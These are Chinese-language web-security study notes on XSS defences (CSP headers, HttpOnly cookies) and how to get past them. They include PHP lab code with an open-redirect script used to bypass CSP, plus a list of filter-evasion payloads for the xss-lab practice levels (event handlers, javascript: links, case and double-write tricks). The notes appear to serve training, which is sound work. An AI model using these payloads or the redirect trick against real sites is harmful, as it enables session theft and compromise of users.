CSP策略
概念
内容安全策略(CSP)是一种可信白名单机制,来限制网站中是否可以包含某来源内容。
该制度明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单,
它的实现和执行全部由浏览器完成,开发者只需提供配置。
作用
主要防护js文件的加载
- 禁止加载外域代码,防止复杂的攻击逻辑。
- 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
- 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
- 禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
合理使用上报可以及时发现XSS,利于尽快修复问题。
判断
查看网络响应包:是否含有”content-security-policy:“字段
实验
两个站点,一个配置CSP的web站点实验,一个含有js文件的web站点
含js的站点
alert(document.cookie);
配置CSP的站点
<meta charset="utf-8">
<?php
//只允许加载本地源图片:
//header("Content-Security-Policy:img-src 'self' ");
//它允许加载来自任何域的JS代码
//header("Content-Security-Policy:default-src 'self'; script-src * ");
//只允许加载当前域的JS代码。
//header("Content-Security-Policy: default-src 'self'; script-src 'self' ");
//只允许加载当前域的JS代码 还限制目录
header("Content-Security-Policy:default-src 'self';script-src http://192.168.10.200:8003/static/");
setcookie('name', 'xiaodi');
?>
<!--加载baidu图片-->
<!--<img src="https://img2.baidu.com/it/u=2874280832,2162791955&fm=253&fmt=auto&app=120&f=JPEG?w=500&h=500"/>-->
<!--加载不同域的js文件-->
<script src="https://192.168.10.131/1.js"></script>
<!--加载本地域js文件-->
<script src="x.js"></script>
<!--加载本地域不同目录下js文件-->
<script src="static/xx.js"></script>
<!--利用重定向功能加载上一级目录下的js文件-->
<script src="static/302.php?url=../x.js"></script>
设置任何域JS加载(任何ip):没有做任何防护
header("Content-Security-Policy:default-src 'self'; script-src * ");
<script src="https://192.168.10.131/1.js"></script>

设置本地域JS加载
header("Content-Security-Policy: default-src 'self'; script-src 'self' ");
再次尝试加载不同域js文件-发现无法加载
<script src="https://192.168.10.131/1.js"></script>

加载此网站下的x.js文件:
<script src="x.js"></script>
正常加载本域下x.js文件

绕过利用条件:文件上传JS绕过,把js脚本文件上传到当前站点下
设置本地域JS外加限制目录 — 绕过可能性不高
header("Content-Security-Policy:default-src 'self';script-src http://192.168.10.200:8003/static/");
尝试加载发现两个js都不能被加载了

访问设置限制目录下的js

绕过利用条件1:目录有302跳转绕过
条件:有重定向功能
302.php
<?php Header("location: ".$_GET['url'])?>
利用重定向功能加载上一级目录下的js文件
<script src="static/302.php?url=../x.js"></script>

绕过利用条件2:文件上传JS(上传到指定限制目录下)
其他绕过技术
参考:https://xz.aliyun.com/news/11816
http_only – 开启后无法通过js获取cookie
概念
一个可以在设置Cookie时使用的标记;当一个Cookie被标记为HttpOnly时,JavaScript无法访问该Cookie,只能通过HTTP(或HTTPS)协议传输。
作用
这一特性有助于防止跨站脚本攻击(XSS),因为攻击者无法通过JavaScript代码窃取存储在 HttpOnly Cookie中的敏感信息。
实验
开启HttpOnly时XSS窃取Cookie的加载情况
// 设置HttpOnly Cookie
//name 启用httponly true
setcookie('name', 'xiaodi', time() + 3600, '', '', false, true);
//pass 没启用httponly false
setcookie('pass', '123456', time() + 3600, '', '', false, false);
参数解释:

开启httponly

httponly都设置为true:

未开启HttpOnly时XSS窃取Cookie的加载情况
// 设置HttpOnly Cookie
//name 没有启用httponly false
setcookie('name', 'xiaodi', time() + 3600, '', '', false, false);
//pass 没启用httponly false
setcookie('pass', '123456', time() + 3600, '', '', false, false);

判断
F12在存储下cookie里查看

绕过
有但鸡肋
(1) CVE-2012-0053
(2) PHPINFO页面
(3) Flash/Java
https://blog.csdn.net/weixin_42478365/article/details/116597222
思路:一般可不采用获取Cookie利用,采用方式(钓鱼,浏览器攻击框架等)
WAF或代码Filter
黑盒XSS手工分析
步骤:
- 页面中显示的数据找可控的(有些隐藏的)
- 利用可控地方发送JS代码去看执行加载情况
- 成功执行即XSS,不能成功就看语句输出的地方显示(过滤)
- 根据显示分析为什么不能执行(实体化,符号括起来,关键字被删除等)
人工分析
演示:xss-lab(关卡)
https://xz.aliyun.com/news/11816
https://github.com/Re13orn/xss-lab
https://blog.csdn.net/2301_80031208/article/details/139159525
工具项目
老牌工具:https://github.com/s0md3v/XSStrike
新工具(借助ai)bp插件:https://github.com/wxwhhh/Chypass_pro
演示:
无任何过滤
<script>alert()</script>
实体化-过滤尖括号 但输入框没有
进行闭合
"> <script>alert()</script> <"
全部实体化 –> 利用标签事件 单引号闭合
当鼠标移动到输入框时,触发事件,即执行xss
实战实用性不强 –> 要求苛刻(需要主动点击鼠标等)
" onfocus=javascript:alert() "
全部实体化 –> 利用标签事件 双引号闭合
实用性不强
" onfocus=javascript:alert() "
事件关键字过滤 利用其他标签调用 双引号闭合
利用标签的超链接事件,点击xxx就执行xss语句
实战实用性不强
"> <a href=javascript:alert()>xxx</a> <"
利用大小写未正则匹配
过滤时只过滤了小写,利用大写加小写绕过
"> <sCript>alert()</sCript> <"
利用双写绕过匹配
只做了单次过滤,没有循环过滤
"> <a hrehreff=javascript:alert()>x</a> <"
"> <a href=javasscriptcript:alert()>x</a> <"
对payload进行Unicode编码或者十六进制编码
把语句采用编码绕过过滤
<script>alert()</script>javascript:alert()
利用Unicode编码(内容检测)
当有对内容进行检测时,如链接不合法等,加上http://等
隐藏属性触发闭合
<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')
其他11-20
https://blog.csdn.net/l2872253606/article/details/125638898
本节知识点&XSS章节思维导图
Web攻防-XSS跨站-安全防护&CSP&Httponly&WAF等
Web攻防-XSS跨站-工具项目&XSStrike&Chypass_pro

